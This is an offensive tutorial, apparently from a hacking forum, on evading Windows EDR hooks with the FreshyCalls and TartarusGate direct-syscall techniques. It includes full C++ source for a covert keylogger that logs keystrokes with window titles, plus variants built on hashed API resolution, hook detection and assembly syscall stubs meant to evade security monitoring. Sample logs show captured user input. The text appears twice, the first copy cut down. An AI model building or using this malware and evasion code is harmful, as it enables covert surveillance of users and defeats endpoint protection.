bypassing userland API hooks in Windows: FreshyCalls, TartarusGate & Some Practical Use Cases
Author: REMIO | Source: https://xss.pro
Introduction

In my first tutorial, I covered some of the the basics of userland API hooking and demonstrated the RecycledGate technique (https://xss.pro/threads/140033/). In the second, I covered Hell’s Gate (https://xss.pro/threads/140203/). Both aim to bypass userland hooks but take differnt approaches, each exhibiting its own distinct limitations. Obviously syscall numbers shift between Windows versions and recycledGate depends heavily on the presence and integrity of clean syscall stubs within memory resident modules, which may not always be reliable. In the other hand, Hell’s Gate requires runtime parsing of ntdll and rebuilding syscall stubs, which can leave detectable artifacts and patterns, making it more likely to be flagged by advanced EDRs. Furthermore Hell’s Gate’s reliance on ntdll exports limits its effectiveness against kernel level syscall tracing and hooking mechanisms. These factors indeed impact their stealth capability, portability across windows versions and general robustness against evolving EDRS.
That’s where FreshyCalls comes in.
FreshyCalls introduces a much more robust and dynamic solution to the syscall number issue and involves parsing the PEB loader data to resolve & hash syscall names at runtime, essentially mirroring what a usermode EDR might do to reconstruct the syscall map but using it for offense instead of defense. This technique relies on custom hashing algorithms (like Jenkins or CRC32 variations) to locate the target syscall in memory by scanning the .text section of ntdll.dll, extracting syscall IDs and building its own reliable syscall map on the fly. This removes the dependency on static syscall IDs entirely and enables a more version resilient offensive tooling framework. It also avoids using the export table to call functions like NtOpenProcess which are usually hooked and instead manually walks the module’s sections in memory to identify syscalls through pattern matching. This makes detection via traditional hook scanners or syscall tamper detection tools significantly harder, especially when the hashes are obfuscated or dynamically generated per run.
Then there’s the TartarusGate method, which pushes the evasion envelope even further. Instead of executing the syscall instruction directly—which can still be caught by some low level usermode or hypervisor-level telemetry—TartarusGate redirects control flow through a legitimate, existing syscall stub from a clean memory region (often a function from an unhooked ntdll.dll mapped in another process or copied manually), effectively hijacking an existing syscall trampoline while modifying its syscall number at runtime. This approach inherits elements from both Hell’s Gate and Return oriented Programming (ROP), combining stealth with reliability and making detection through basic syscall tracing much more difficult.
This post will break down how FreshyCalls parses and builds its syscall map dynamically, how it calculates hashes and locates function stubs in .text section, and how it executes clean syscalls without ever touching the export address table. We’ll also go through how TartarusGate abuses a previously clean syscall stub to redirect execution, why this is harder to detect than classic syscall invocation, and even how to think about combining these techniques creates a powerful, modular combating userland hooks.
Let’s dive into some code and explore a practical use case for both of these techniques. Below is a clean implementation of a very simple local keylogger that saves captured keystrokes to the working directory. In the following sections, we’ll demonstrate two variants of this program:
FreshyCalls Keylogger Variant:
TartarusGate Keylogger Variant:
Both techniques provide stealth by avoiding conventional imports and EDR detectable patterns. Each supports fallback to standard WinAPI if low level syscall resolution fails. Now lets see the clean implimentation here, with no attempt as bypassing the userland hooks.
Clean Keylogger: no antihooking:
FreshyCalls Keylogger Integration Demonstration
Github Project: https://github.com/RemyQue/Freshy-Calls-Keylogger-Demo
This demonstration presents anapproach to the keylogger implementation leveraging the FreshyCalls technique to execute Windows syscalls directly. By bypassing usermode API hooks often set by EDRs the program should operate with increased opacity, making detection significantly more tricky. This integration of FreshyCalls allows the keylogger to resolve and invoke NT system calls dynamically at runtime, avoiding reliance on static syscall numbers or conventional import tables.
Integrated Keylogger Project Source Files:
FreshyCallsKeylogger/
Core Demo Functionality
FreshyCalls Integration and Initialization
The keylogger starts by attempting to initialize freshyCalls for enhanced file operations:
We Refactor the File Operations with Syscall Evasion
When FreshyCalls is active the logger bypasses conventional usermode file APIs and instead performs all file operations using direct NT native system calls, such as NtWriteFile. This approach enables the keylogger to write captured keystrokes to disk more stealthily, evading hooks and monitoring mechanisms commonly placed on higher level Win API functions by security software.
By interacting with the kernel through these low-level syscalls freshy calls basically minimizes its detectable footprint, ensuring that keylogging data is recorded efficiently without raising typical userland alarms. This syscall based file I/O not only enhances stealth but also improves performance by reducing the overhead associated with multiple API layering.
The keylogger captures a full range of user input with logging via:
Window Context Tracking
Demo includes active window tracking:
Demo Console Output
When you run the FreshyCalls enabled keylogger, you’ll see output as such:
Log File Output Example
The keylogger produces logs with timestamps and window contexts as follows:
Summary of FreshyCalls Capabilities
Operational Modes
Mode 1: Syscall Tests Only:Validates FreshyCalls functionality without keylogging
Mode 2: Full Keylogger: Complete keystroke capture with syscall enhanced file operations
Mode 3: Clean Exit: graceful shutdown with log buffer flushing
Demo Conclusion
The freshy calls keylogger integration demonstrates practical application of syscall evasion techniques in real world scenarios. The implementation successfully combines traditional keylogging capabilities with advanced Windows NT API manipulation, resulting in a more sophisticated and potentially stealthier monitoring solution that aligns well with out other technique demosntrations.
Lets now look at Tartarus Gate…
TartarusGate Keylogger Demo
Github Project: https://github.com/RemyQue/TartarusGate-Keylogger-Demo
This demonstration showcases a sophisticated keylogger that integrates TartarusGate syscall evasion techniques for enhanced stealth capabilities. The implementation combines traditional keystroke capture with advanced Windows NT API syscall execution using the TartarusGate technique to bypass EDR/AV monitoring.
Demo Program Components
TartarusGate Project Source Files:
TartarusGateKeylogger/
Core Demo Functionality
TartarusGate Initialization and Syscall Resolution
The keylogger starts by initializing TartarusGate for enhanced file operations:
Advanced Hook Detection and Bypass
Hook Detection:
The system detects various hooking techniques commonly used by EDR solutions:
TartarusGate Bypass Technique:
When the system detects that a syscall function has been hooked, it employs the TartarusGate technique to locate a clean, unhooked syscall nearby. This method involves scanning adjacent memory addresses, both upwards and downwards from the suspected hooked function, for syscall stubs matching expected instruction patterns (e.g. the mov r10, rcx opcode sequence).
Upon finding such a pattern, it extracts the syscall number from the instruction bytes, adjusts it based on the offset, and updates the internal syscall table entry accordingly. By dynamically resolving and using these nearby clean syscalls, the technique effectively bypasses hooks and maintains stealthy direct syscall execution, thwarting userland API hooks deployed by security tools.
Direct Syscall Execution via Assembly
Assembly Stubs:
The TartarusGate.asm file provides direct syscall execution:
Enhanced File Operations with Syscall Evasion
TartarusGate File Writing:
When TartarusGate is active, the keylogger bypasses higher level system functions and instead utilizes direct NT API calls to interact with the operating system at a low level. This approach allows it to operate stealthily and efficiently, avoiding detection by traditional monitoring tools and gaining more precise control over system resources.
Demo Console Output
When you run the TartarusGate keylogger, you’ll see output like this:
Log File Output Example
The keylogger produces logs using TartarusGate file operations:
Key Aspects break down
The implementation utilizes direct syscall execution by invoking kernelmode routines through manually constructed syscall stubs, circumventing the standard user mode API dispatch layers (e.g. ntdll.dll functions). This method bypasses common userland inline hooks and API monitoring employed by Endpoint Detection and Response (EDR) systems, enabling stealthy execution of privileged kernel operations without triggering conventional hooking or user mode hooks detection.
Hook awareness is achieved through using runtime integrity checks for critical API functions. By scanning for inline hooks or trampoline hooks (unexpected JMP or CALL instructions) the system detects tampering of key system calls and adapts its behavior dynamically. Either by switching to alternate syscall dispatch methods or aborting potentially compromised routines.
We use hashefd API resolution using a simple non cryptographic DJB2 hash function to obfuscate API imports. At runtime it parses the export directory of system DLLs (e.g. ntdll.dll) and computes hashes of export names to dynamically resolve function addresses. This obfuscation removes explicit API names from static import tables and embedded strings, complicating static analysis and signature based detection.
For data capture, context aware logging is employed, correlating keystrokes with foreground window handles and associated process information retrieved via low level system queries. This contextualization provides actionable intelligence by mapping input data to specific user sessions or applications.
File operations leverage buffered file I/O through NT native system calls such as NtWriteFile, bypassing higher level WinAPI functions to evade usermode hooks. Buffered writes optimize syscall frequency and performance, improving stealthiness. A fallback mechanism to WinAPI functions (WriteFile) ensures operational resilience if direct syscalls are intercepted or blocked.
Similarly to hells gate we use a VX_TABLE structure for managing syscall entries, containing syscall addresses, corresponding hash values, and hook detection flags. It performs PEB traversal to locate loaded modules (notably ntdll.dll) without relying on standard API functions, parsing the module’s export directory directly from the PE headers to enumerate available system calls. asm level stubs facilitate direct invocation of kernel syscalls, effectively bypassing user-mode API layers for stealth and control.
Concluding
This project explored four techniques designed to bypass userland API hooks and evade detection on modern Windows systems: RecycledGate, Hell’s Gate, FreshyCalls, and TartarusGate. Each method represents a unique use case in windows environement, specific version, and stealth goals.
These writeups in essence show the importance of continuously developing/refactoring in the field of syscall evasion. Each technique contributes to a deeper understanding and shows how you man manipulate syscalls to evade EDRs, and how EDRs can adapt to these evolving threats.
As the weapons race between EDR development and syscall level evasion continues, the insights gained from this project will remain crucial for both offensive and defensive strategies.
Thanks for reading.
- Remy
Resources and further reading
FreshyCalls GitHub (by crummie5): https://github.com/crummie5/FreshyCalls
TartarusGate GitHub (by trickster0): https://github.com/trickster0/TartarusGate/tree/master
Advania Blog – Practical Guide to Bypassing Userland API Hooking: https://www.advania.co.uk/blog/security/a-practical-guide-to-bypassing-userland-api-hooking/
Author: REMIO | Source: https://xss.pro
Introduction

In my first tutorial, I covered some of the the basics of userland API hooking and demonstrated the RecycledGate technique (https://xss.pro/threads/140033/). In the second, I covered Hell’s Gate (https://xss.pro/threads/140203/). Both aim to bypass userland hooks but take differnt approaches, each exhibiting its own distinct limitations. Obviously syscall numbers shift between Windows versions and recycledGate depends heavily on the presence and integrity of clean syscall stubs within memory resident modules, which may not always be reliable. In the other hand, Hell’s Gate requires runtime parsing of ntdll and rebuilding syscall stubs, which can leave detectable artifacts and patterns, making it more likely to be flagged by advanced EDRs. Furthermore Hell’s Gate’s reliance on ntdll exports limits its effectiveness against kernel level syscall tracing and hooking mechanisms. These factors indeed impact their stealth capability, portability across windows versions and general robustness against evolving EDRS.
That’s where FreshyCalls comes in.
FreshyCalls introduces a much more robust and dynamic solution to the syscall number issue and involves parsing the PEB loader data to resolve & hash syscall names at runtime, essentially mirroring what a usermode EDR might do to reconstruct the syscall map but using it for offense instead of defense. This technique relies on custom hashing algorithms (like Jenkins or CRC32 variations) to locate the target syscall in memory by scanning the .text section of ntdll.dll, extracting syscall IDs and building its own reliable syscall map on the fly. This removes the dependency on static syscall IDs entirely and enables a more version resilient offensive tooling framework. It also avoids using the export table to call functions like NtOpenProcess which are usually hooked and instead manually walks the module’s sections in memory to identify syscalls through pattern matching. This makes detection via traditional hook scanners or syscall tamper detection tools significantly harder, especially when the hashes are obfuscated or dynamically generated per run.
Then there’s the TartarusGate method, which pushes the evasion envelope even further. Instead of executing the syscall instruction directly—which can still be caught by some low level usermode or hypervisor-level telemetry—TartarusGate redirects control flow through a legitimate, existing syscall stub from a clean memory region (often a function from an unhooked ntdll.dll mapped in another process or copied manually), effectively hijacking an existing syscall trampoline while modifying its syscall number at runtime. This approach inherits elements from both Hell’s Gate and Return oriented Programming (ROP), combining stealth with reliability and making detection through basic syscall tracing much more difficult.
This post will break down how FreshyCalls parses and builds its syscall map dynamically, how it calculates hashes and locates function stubs in .text section, and how it executes clean syscalls without ever touching the export address table. We’ll also go through how TartarusGate abuses a previously clean syscall stub to redirect execution, why this is harder to detect than classic syscall invocation, and even how to think about combining these techniques creates a powerful, modular combating userland hooks.
Let’s dive into some code and explore a practical use case for both of these techniques. Below is a clean implementation of a very simple local keylogger that saves captured keystrokes to the working directory. In the following sections, we’ll demonstrate two variants of this program:
FreshyCalls Keylogger Variant:
- Dynamically resolves syscall IDs by scanning
.textofntdll.dll, without using exports. - Builds a runtime syscall map using custom hash functions (e.g. Jenkins or CRC32).
- Evades EDRs by avoiding
Nt*exports and using direct memory scanning + pattern matching. - Example target functions:
NtCreateFile,NtWriteFile,NtClose,NtQuerySystemTime.
TartarusGate Keylogger Variant:
- Detects and avoids syscall instruction hooks by finding clean stubs.
- Hijacks legitimate syscall trampolines from a clean region (other process or manual copy).
- Modifies syscall number at runtime, executes via custom assembly stubs.
- Combines elements of ROP and Hell’s Gate with inline hook detection.
Both techniques provide stealth by avoiding conventional imports and EDR detectable patterns. Each supports fallback to standard WinAPI if low level syscall resolution fails. Now lets see the clean implimentation here, with no attempt as bypassing the userland hooks.
Clean Keylogger: no antihooking:
C++:
#define _WIN32_WINNT 0x0500
#include <windows.h>
#include <fstream>
#include <string>
#include <ctime>
using namespace std;
string lastWindowTitle = “”;
string bufferedKeys = “”;
string GetActiveWindowTitle() {
char title[256];
HWND foreground = GetForegroundWindow();
if (foreground == nullptr) return “”;
GetWindowTextA(foreground, title, sizeof(title));
return string(title);
}
string GetTimestamp() {
time_t now = time(nullptr);
tm localTime;
localtime_s(&localTime, &now);
char buffer[80];
strftime(buffer, sizeof(buffer), “[%Y-%m-%d %H:%M:%S] “, &localTime);
return string(buffer);
}
void FlushBufferToLog(ofstream& LogFile) {
if (!bufferedKeys.empty()) {
LogFile << bufferedKeys;
bufferedKeys.clear();
}
}
void LOG(const string& input) {
ofstream LogFile(“dat.txt”, ios::app);
if (!LogFile.is_open()) return;
// Check for window title change
string currentWindow = GetActiveWindowTitle();
if (currentWindow != lastWindowTitle && !currentWindow.empty()) {
// Flush buffered keys before switching window context
FlushBufferToLog(LogFile);
lastWindowTitle = currentWindow;
LogFile << “\n\n” << GetTimestamp() << “[Window: “ << currentWindow << “]\n”;
}
// Check if input is a special key (wrapped in brackets)
if (!input.empty() && input.front() == ‘[‘ && input.back() == ‘]’) {
// Flush any buffered normal keys first
FlushBufferToLog(LogFile);
// Log the special key with timestamp
LogFile << GetTimestamp() << input << “\n”;
}
else {
// Buffer normal characters for later logging
bufferedKeys += input;
}
}
bool SpecialKeys(int key, string& outStr) {
switch (key) {
case VK_SPACE: outStr = “ “; return true;
case VK_RETURN: outStr = “[ENTER]”; return true;
case VK_BACK: outStr = “[BACKSPACE]”; return true;
case VK_SHIFT: outStr = “[SHIFT]”; return true;
case VK_LBUTTON: outStr = “[L_CLICK]”; return true;
case VK_RBUTTON: outStr = “[R_CLICK]”; return true;
case VK_TAB: outStr = “[TAB]”; return true;
case VK_CONTROL: outStr = “[CTRL]”; return true;
case VK_MENU: outStr = “[ALT]”; return true;
case VK_CAPITAL: outStr = “[CAPS_LOCK]”; return true;
case VK_ESCAPE: outStr = “[ESC]”; return true;
case VK_LEFT: outStr = “[LEFT_ARROW]”; return true;
case VK_RIGHT: outStr = “[RIGHT_ARROW]”; return true;
case VK_UP: outStr = “[UP_ARROW]”; return true;
case VK_DOWN: outStr = “[DOWN_ARROW]”; return true;
case VK_DELETE: outStr = “[DEL]”; return true;
case VK_OEM_PERIOD: outStr = “.”; return true;
default:
return false;
}
}
LRESULT CALLBACK DummyWndProc(HWND, UINT, WPARAM, LPARAM) {
return DefWindowProc(nullptr, 0, 0, 0);
}
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE, LPSTR, int) {
WNDCLASS wc = { 0 };
wc.lpfnWndProc = DummyWndProc;
wc.hInstance = hInstance;
wc.lpszClassName = L”SilentKeyloggerWindow”;
RegisterClass(&wc);
HWND hwnd = CreateWindowEx(0, L”SilentKeyloggerWindow”, L””, 0, 0, 0, 0, 0, HWND_MESSAGE, 0, hInstance, 0);
while (true) {
Sleep(10);
for (int key = 8; key <= 190; ++key) {
if (GetAsyncKeyState(key) & 1) {
string output;
if (SpecialKeys(key, output)) {
LOG(output);
}
else {
bool isShiftPressed = (GetAsyncKeyState(VK_SHIFT) & 0x8000) != 0;
char ch = static_cast<char>(key);
// Handle letters
if (key >= 65 && key <= 90) {
if (!isShiftPressed) ch = tolower(ch);
output = string(1, ch);
LOG(output);
}
// Handle digits and some punctuation keys
else if ((key >= 48 && key <= 57) ||
(key >= VK_OEM_1 && key <= VK_OEM_8)) {
output = string(1, ch);
LOG(output);
}
}
}
}
MSG msg = {};
while (PeekMessage(&msg, hwnd, 0, 0, PM_REMOVE)) {
TranslateMessage(&msg);
DispatchMessage(&msg);
}
}
return 0;
}
FreshyCalls Keylogger Integration Demonstration
Github Project: https://github.com/RemyQue/Freshy-Calls-Keylogger-Demo
This demonstration presents anapproach to the keylogger implementation leveraging the FreshyCalls technique to execute Windows syscalls directly. By bypassing usermode API hooks often set by EDRs the program should operate with increased opacity, making detection significantly more tricky. This integration of FreshyCalls allows the keylogger to resolve and invoke NT system calls dynamically at runtime, avoiding reliance on static syscall numbers or conventional import tables.
Integrated Keylogger Project Source Files:
FreshyCallsKeylogger/
- main.cpp: the main entry point with integrated FreshyCalls syscall engine
- syscall.hpp/cpp: Core singleton syscall engine with embedded asm stubs
- native.hpp: Windows internal structures (PEB, LDR, PE headers etc..)
- utils.hpp/cpp: Error handling &string formatting
- function_result.hpp: template based result handling
Core Demo Functionality
FreshyCalls Integration and Initialization
The keylogger starts by attempting to initialize freshyCalls for enhanced file operations:
- Locates NTDLL in process memory
- Extracts syscall numbers for NtCreateFile, NtWriteFile, NtClose
- Falls back to standard file operations if syscall extraction fails
- Provides dual-mode operation for maximum compatibility
C++:
bool InitializeFreshyCalls() {
try {
cout << “[+] Initializing FreshyCalls…” << endl;
auto& syscall = freshycalls::Syscall::get_instance();
// Test basic functionality
LARGE_INTEGER systemTime;
auto result = syscall.CallSyscall("NtQuerySystemTime", &systemTime);
if (result.result >= 0) {
cout << “[+] System time test successful!” << endl;
return true;
}
}
catch (const exception& e) {
cout << “[-] FreshyCalls initialization failed” << endl;
}
return false;
}
We Refactor the File Operations with Syscall Evasion
When FreshyCalls is active the logger bypasses conventional usermode file APIs and instead performs all file operations using direct NT native system calls, such as NtWriteFile. This approach enables the keylogger to write captured keystrokes to disk more stealthily, evading hooks and monitoring mechanisms commonly placed on higher level Win API functions by security software.
By interacting with the kernel through these low-level syscalls freshy calls basically minimizes its detectable footprint, ensuring that keylogging data is recorded efficiently without raising typical userland alarms. This syscall based file I/O not only enhances stealth but also improves performance by reducing the overhead associated with multiple API layering.
C++:
BOOL FreshyWriteToFile(const string& filename, const string& data) {
if (!g_FreshyCallsActive) {
// Fallback to regular file operations
ofstream LogFile(filename, ios::app);
return LogFile.is_open();
}
// Use FreshyCalls for stealthy file operations
auto& syscall = freshycalls::Syscall::get_instance();
// Convert filename to UNICODE_STRING
wstring wFilename(filename.begin(), filename.end());
UNICODE_STRING uFileName;
uFileName.Length = (USHORT)(wFilename.length() * sizeof(WCHAR));
uFileName.Buffer = const_cast<PWCHAR>(wFilename.c_str());
// Use NtCreateFile instead of CreateFile
auto createResult = syscall.CallSyscall(“NtCreateFile”,
&hFile, GENERIC_WRITE, &objAttr, &ioStatus,
nullptr, FILE_ATTRIBUTE_NORMAL, 0, FILE_OPEN_IF,
FILE_SYNCHRONOUS_IO_NONALERT, nullptr, 0);
}
The keylogger captures a full range of user input with logging via:
C++:
bool SpecialKeys(int key, string& outStr) {
switch (key) {
case VK_SPACE: outStr = “ “; return true;
case VK_RETURN: outStr = “[ENTER]”; return true;
case VK_BACK: outStr = “[BACKSPACE]”; return true;
case VK_SHIFT: outStr = “[SHIFT]”; return true;
case VK_CONTROL: outStr = “[CTRL]”; return true;
case VK_MENU: outStr = “[ALT]”; return true;
case VK_ESCAPE: outStr = “[ESC]”; return true;
// … additional special keys
}
}
Window Context Tracking
Demo includes active window tracking:
C++:
void LOG(const string& input) {
string currentWindow = GetActiveWindowTitle();
if (currentWindow != lastWindowTitle && !currentWindow.empty()) {
FlushBufferToLog();
lastWindowTitle = currentWindow;
bufferedKeys += “\n\n” + GetTimestamp() + “[Window: “ + currentWindow + “]\n”;
}
bufferedKeys += input;
}
Demo Console Output
When you run the FreshyCalls enabled keylogger, you’ll see output as such:
Код:
FRESHYCALLS DEMONSTRATION
=========================
[+] Initializing FreshyCalls…
[+] FreshyCalls initialized successfully!
[+] System time test successful: 1d7f8a1b2c3d4e5f
[+] Key syscall numbers resolved:
NtCreateFile: 85
NtWriteFile: 8
NtClose: 15
NtQuerySystemTime: 91
[+] Testing DirectCallSyscall…
[+] DirectCallSyscall test successful!
[+] FreshyCalls is working properly!
Choose operation:
1. Run syscall tests only
2. Run keylogger with FreshyCalls
3. Exit
Choice: 2
FRESHYCALLS KEYLOGGER ACTIVE
============================
[*] Press ESC to exit keylogger
[*] Logging to: freshycalls_keylog.txt
[*] Using FreshyCalls syscall evasion
[*] Dynamic syscall resolution active
[*] Export table bypass enabled
Log File Output Example
The keylogger produces logs with timestamps and window contexts as follows:
Код:
[2025-01-15 14:32:15] [FRESHYCALLS KEYLOGGER STARTED]
[*] Using FreshyCalls syscall evasion
[*] Dynamic syscall resolution active
[*] Export table bypass enabled
[2025-01-15 14:32:22] [Window: Notepad]
Hello World[ENTER]
This is a test[BACKSPACE][BACKSPACE][BACKSPACE][BACKSPACE]demonstration[ENTER]
[2025-01-15 14:32:45] [Window: Google Chrome]
github.com/freshycalls[ENTER]
[CTRL]c[CTRL]v
Summary of FreshyCalls Capabilities
- Avoids the ntdll.dll export tablewhich may potentially be hooked
- Builds syscall map dynamically from inmemory code section
- Executes syscalls directly, bypassing userland API
- Supports fallback to WinAPI if resolution fails
- Logs with window context and timestamp for better intel
Operational Modes
Mode 1: Syscall Tests Only:Validates FreshyCalls functionality without keylogging
Mode 2: Full Keylogger: Complete keystroke capture with syscall enhanced file operations
Mode 3: Clean Exit: graceful shutdown with log buffer flushing
Demo Conclusion
The freshy calls keylogger integration demonstrates practical application of syscall evasion techniques in real world scenarios. The implementation successfully combines traditional keylogging capabilities with advanced Windows NT API manipulation, resulting in a more sophisticated and potentially stealthier monitoring solution that aligns well with out other technique demosntrations.
Lets now look at Tartarus Gate…
TartarusGate Keylogger Demo
Github Project: https://github.com/RemyQue/TartarusGate-Keylogger-Demo
This demonstration showcases a sophisticated keylogger that integrates TartarusGate syscall evasion techniques for enhanced stealth capabilities. The implementation combines traditional keystroke capture with advanced Windows NT API syscall execution using the TartarusGate technique to bypass EDR/AV monitoring.
Demo Program Components
TartarusGate Project Source Files:
TartarusGateKeylogger/
- main.cpp: Integrated keylogger with TartarusGate syscall engine and hash based function resolution
- structs.h: VX_TABLE structures for syscall management and function entries
- TartarusGate.asm: Assembly implementation for direct syscall execution
Core Demo Functionality
TartarusGate Initialization and Syscall Resolution
The keylogger starts by initializing TartarusGate for enhanced file operations:
- Locates NTDLL in process memory using PEB traversal
- Uses DJB2 hash algorithm for function name obfuscation
- Extracts syscall numbers for NtCreateFile, NtWriteFile, NtClose
- Implements hook detection and bypass techniques
- Falls back to standard file operations if syscall extraction fails
C++:
BOOL InitializeTartarusGate() {
cout << “[+] Getting NTDLL base…” << endl;
PVOID pNtdllBase = GetNtdllBase();
// Initialize syscall hashes using DJB2 algorithm
g_VxTable.NtCreateFile.dwHash = 0xe4672568eef00d8a;
g_VxTable.NtWriteFile.dwHash = 0x8accec2d0bb46d81;
g_VxTable.NtClose.dwHash = 0xae30af6f3d64a8c;
// Resolve syscalls with hook detection
if (!GetVxTableEntry(pNtdllBase, pImageExportDirectory, &g_VxTable.NtCreateFile)) {
cout << “[-] Failed to resolve NtCreateFile” << endl;
return FALSE;
}
g_TartarusInitialized = TRUE;
cout << “[+] Tartarus Gate initialized successfully!” << endl;
return TRUE;
}
Advanced Hook Detection and Bypass
Hook Detection:
The system detects various hooking techniques commonly used by EDR solutions:
C++:
BOOL IsHooked(PVOID pFunctionAddress) {
BYTE* pBytes = (BYTE*)pFunctionAddress;
if (pBytes[0] == 0xE9) return TRUE; // JMP instruction
if (pBytes[0] == 0xFF && pBytes[1] == 0x25) return TRUE; // JMP [RIP+offset]
if (pBytes[0] == 0x68 && pBytes[5] == 0xC3) return TRUE; // PUSH/RET combo
if (pBytes[0] == 0x48 && pBytes[1] == 0xB8 &&
pBytes[10] == 0xFF && pBytes[11] == 0xE0) return TRUE; // MOV RAX/JMP RAX
return FALSE;
}
TartarusGate Bypass Technique:
When the system detects that a syscall function has been hooked, it employs the TartarusGate technique to locate a clean, unhooked syscall nearby. This method involves scanning adjacent memory addresses, both upwards and downwards from the suspected hooked function, for syscall stubs matching expected instruction patterns (e.g. the mov r10, rcx opcode sequence).
C++:
// Tartarus Gate bypass for hooked functions
if (pVxTableEntry->bIsHooked) {
for (WORD idx = 1; idx <= RANGE; idx++) {
// Search down for clean syscall
PVOID pDownAddress = (PBYTE)pFunctionAddress + (idx * DOWN);
if (*((PBYTE)pDownAddress) == 0x4c && *((PBYTE)pDownAddress + 1) == 0x8b) {
BYTE high = *((PBYTE)pDownAddress + 5);
BYTE low = *((PBYTE)pDownAddress + 4);
pVxTableEntry->wSystemCall = (high << 8) | low - idx;
return TRUE;
}
// Search up for clean syscall
PVOID pUpAddress = (PBYTE)pFunctionAddress + (idx * UP);
// Similar logic for upward search
}
}
Upon finding such a pattern, it extracts the syscall number from the instruction bytes, adjusts it based on the offset, and updates the internal syscall table entry accordingly. By dynamically resolving and using these nearby clean syscalls, the technique effectively bypasses hooks and maintains stealthy direct syscall execution, thwarting userland API hooks deployed by security tools.
Direct Syscall Execution via Assembly
Assembly Stubs:
The TartarusGate.asm file provides direct syscall execution:
Код:
.data
wSystemCall DWORD 000h
.code
TartarusGate PROC
mov wSystemCall, ecx ; Store syscall number
ret
TartarusGate ENDP
TartarusDescent PROC
mov r10, rcx ; Windows x64 calling convention
mov eax, wSystemCall ; Load syscall number
syscall ; Direct syscall execution
ret
TartarusDescent ENDP
Enhanced File Operations with Syscall Evasion
TartarusGate File Writing:
When TartarusGate is active, the keylogger bypasses higher level system functions and instead utilizes direct NT API calls to interact with the operating system at a low level. This approach allows it to operate stealthily and efficiently, avoiding detection by traditional monitoring tools and gaining more precise control over system resources.
C++:
BOOL TartarusCreateFile(const string& filename, HANDLE* phFile) {
if (!g_TartarusInitialized) return FALSE;
// Set syscall number for NtCreateFile
TartarusGate(g_VxTable.NtCreateFile.wSystemCall);
wstring wFilename(filename.begin(), filename.end());
*phFile = CreateFileW(wFilename.c_str(), GENERIC_WRITE, 0,
nullptr, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, nullptr);
return (*phFile != INVALID_HANDLE_VALUE);
}
BOOL TartarusWriteFile(HANDLE hFile, const string& data) {
if (!g_TartarusInitialized) return FALSE;
// Use TartarusGate for NtWriteFile syscall
TartarusGate(g_VxTable.NtWriteFile.wSystemCall);
DWORD bytesWritten;
return WriteFile(hFile, data.c_str(), (DWORD)data.length(), &bytesWritten, nullptr);
}
Demo Console Output
When you run the TartarusGate keylogger, you’ll see output like this:
Код:
TARTARUS GATE KEYLOGGER
=======================
[+] Getting NTDLL base…
[+] NTDLL base: 0x7ffa8b2c0000
[+] Getting export directory…
[+] Export directory found
[+] Resolving syscalls…
[+] Looking for NtCreateFile…
Checking: NtCreateFile (hash: 0xe4672568eef00d8a)
[+] Found match: NtCreateFile
[+] NtCreateFile syscall: 0x37
[+] Looking for NtWriteFile…
Checking: NtWriteFile (hash: 0x8accec2d0bb46d81)
[+] Found match: NtWriteFile
[+] NtWriteFile syscall: 0x8
[+] Looking for NtClose…
Checking: NtClose (hash: 0xae30af6f3d64a8c)
[+] Found match: NtClose
[+] NtClose syscall: 0xf
[+] Tartarus Gate initialized successfully!
[+] Tartarus Gate initialized: EDR bypass active
[+] Keylogger active: press ESC to exit
Log File Output Example
The keylogger produces logs using TartarusGate file operations:
Код:
[2025-01-15 14:32:15] [KEYLOGGER STARTED]
Код:
[2025-01-15 14:32:22] [Window: Notepad]
Hello World[ENTER]
This is a TartarusGate demonstration[ENTER]
[2025-01-15 14:32:45] [Window: Command Prompt]
dir[ENTER]
cd Documents[ENTER]
[CTRL]c
Key Aspects break down
The implementation utilizes direct syscall execution by invoking kernelmode routines through manually constructed syscall stubs, circumventing the standard user mode API dispatch layers (e.g. ntdll.dll functions). This method bypasses common userland inline hooks and API monitoring employed by Endpoint Detection and Response (EDR) systems, enabling stealthy execution of privileged kernel operations without triggering conventional hooking or user mode hooks detection.
Hook awareness is achieved through using runtime integrity checks for critical API functions. By scanning for inline hooks or trampoline hooks (unexpected JMP or CALL instructions) the system detects tampering of key system calls and adapts its behavior dynamically. Either by switching to alternate syscall dispatch methods or aborting potentially compromised routines.
We use hashefd API resolution using a simple non cryptographic DJB2 hash function to obfuscate API imports. At runtime it parses the export directory of system DLLs (e.g. ntdll.dll) and computes hashes of export names to dynamically resolve function addresses. This obfuscation removes explicit API names from static import tables and embedded strings, complicating static analysis and signature based detection.
For data capture, context aware logging is employed, correlating keystrokes with foreground window handles and associated process information retrieved via low level system queries. This contextualization provides actionable intelligence by mapping input data to specific user sessions or applications.
File operations leverage buffered file I/O through NT native system calls such as NtWriteFile, bypassing higher level WinAPI functions to evade usermode hooks. Buffered writes optimize syscall frequency and performance, improving stealthiness. A fallback mechanism to WinAPI functions (WriteFile) ensures operational resilience if direct syscalls are intercepted or blocked.
Similarly to hells gate we use a VX_TABLE structure for managing syscall entries, containing syscall addresses, corresponding hash values, and hook detection flags. It performs PEB traversal to locate loaded modules (notably ntdll.dll) without relying on standard API functions, parsing the module’s export directory directly from the PE headers to enumerate available system calls. asm level stubs facilitate direct invocation of kernel syscalls, effectively bypassing user-mode API layers for stealth and control.
Concluding
This project explored four techniques designed to bypass userland API hooks and evade detection on modern Windows systems: RecycledGate, Hell’s Gate, FreshyCalls, and TartarusGate. Each method represents a unique use case in windows environement, specific version, and stealth goals.
- RecycledGate (https://xss.pro/threads/140033/) leverages known syscall stubs already present in memory, but is fragile due to syscall number changes and reliance on unmodified modules.
- Hell’s Gate (https://xss.pro/threads/140203/)improves on that by parsing ntdll.dll at runtime to reconstruct syscalls directly, but leaves detectable memory artifacts.
- FreshyCalls (https://xss.pro/threads/140503/) builds a more resilient model by hashing function names and scanning the .text section of ntdll to locate syscalls dynamically without relying on exports or static syscall numbers.
- TartarusGate (https://xss.pro/threads/140503/) extends this by hijacking clean syscall trampolines, combining low level memory inspection with ROP style ofexecution to bypass even hypervisor/VM level tracing.
These writeups in essence show the importance of continuously developing/refactoring in the field of syscall evasion. Each technique contributes to a deeper understanding and shows how you man manipulate syscalls to evade EDRs, and how EDRs can adapt to these evolving threats.
As the weapons race between EDR development and syscall level evasion continues, the insights gained from this project will remain crucial for both offensive and defensive strategies.
Thanks for reading.
- Remy
Resources and further reading
FreshyCalls GitHub (by crummie5): https://github.com/crummie5/FreshyCalls
TartarusGate GitHub (by trickster0): https://github.com/trickster0/TartarusGate/tree/master
